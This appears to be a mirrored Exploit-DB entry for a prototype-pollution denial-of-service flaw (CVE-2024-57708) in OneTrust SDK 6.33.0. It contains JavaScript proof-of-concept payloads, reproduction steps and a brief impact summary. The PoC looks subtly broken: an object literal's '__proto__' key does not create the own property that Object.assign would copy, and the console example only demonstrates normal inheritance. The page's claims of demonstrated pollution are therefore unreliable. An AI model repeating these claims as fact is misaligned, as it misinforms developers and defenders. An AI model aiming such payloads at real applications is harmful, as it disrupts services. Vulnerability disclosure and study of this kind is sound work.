OneTrust SDK 6.33.0 – Denial Of Service (DoS)

Exploit Details

Basic Information

Exploit Title OneTrust SDK 6.33.0 – Denial Of Service (DoS)
Exploit ID EDB-ID:52340
Type exploitdb
Published 2025-06-26T00:00:00
Modified 2025-06-26T00:00:00

CVSS Information

CVSS Score 5.7
Severity MEDIUM
Vector CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

CVE Information

  • CVE-2024-57708

Exploit Description

Exploit Title: OneTrust SDK 6.33.0 – Denial Of Service (DoS) Date: 01/01/2025 Exploit Author: Alameen…

Exploit Code

– **Exploit Title**: OneTrust SDK 6.33.0 – Denial Of Service (DoS)

– **Date**: 01/01/2025

– **Exploit Author**: Alameen Karim Merali

– **Vendor Homepage**: [OneTrust JavaScript API](https://developer.onetrust.com/onetrust/docs/javascript-api)

– **Software Link**: [otBannerSdk.js v6.33.0](https://discord.com/assets/oneTrust/v4/scripttemplates/6.33.0/otBannerSdk.js)

– **Version**: 6.33.0

– **Tested on**: Kali Linux

– **CVE ID**: CVE-2024-57708

## Vulnerability Summary

A vulnerability exists in **OneTrust SDK v6.33.0** that allows an attacker to perform **Prototype Pollution** via the misuse of `Object.setPrototypeOf` and `Object.assign`. An attacker can inject malicious properties into the prototype chain, potentially causing **Denial of Service (DoS)** or altering the behavior of inherited objects throughout the application.

## Technical Details

The affected code includes prototype assignment logic such as:

“`javascript

var o = function(e, t) {

return (o = Object.setPrototypeOf || { __proto__: [] } instanceof …);

};

“`

If the `t` argument (a user-supplied object) contains a `__proto__` or `constructor.prototype` reference, it can pollute `Object.prototype` globally.

## Proof-of-Concept (PoC)

“`javascript

function testPrototypePollution() {

const maliciousPayload = {

“__proto__”: {

polluted: “yes”

}

};

// Using vulnerable function ‘o’

try {

o({}, maliciousPayload);

console.log(“After o:”, {}.polluted); // “yes”

} catch (e) {

console.error(“Error testing o:”, e);

}

// Using Object.assign

try {

Object.assign({}, maliciousPayload);

console.log(“After Object.assign:”, {}.polluted); // “yes”

} catch (e) {

console.error(“Error testing Object.assign:”, e);

}

// Cleanup

delete Object.prototype.polluted;

}

testPrototypePollution();

“`

## Browser Console PoC (DevTools)

“`javascript

var maliciousObj = { __proto__: { hacked: true } };

var newObj = Object.create(maliciousObj);

console.log(newObj.hacked); // true

“`

Screenshot: [PoC Screenshot](https://ibb.co/B2hyYr5v)

## Steps to Reproduce

1. Save the PoC script above as `exploit.js`

2. Run using Node.js: `node exploit.js`

3. Observe polluted output (`{}.polluted === “yes”`)

4. Alternatively, run the payload in browser DevTools

## Impact

– Global object pollution

– Application logic errors

– Potential DoS

– Further exploitation depending on context

## Recommendation

Developers should upgrade to a patched version and sanitize any user input used in object merging or prototype manipulation.

View Full Exploit Details

💭 Join the Security Discussion

🔒 Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.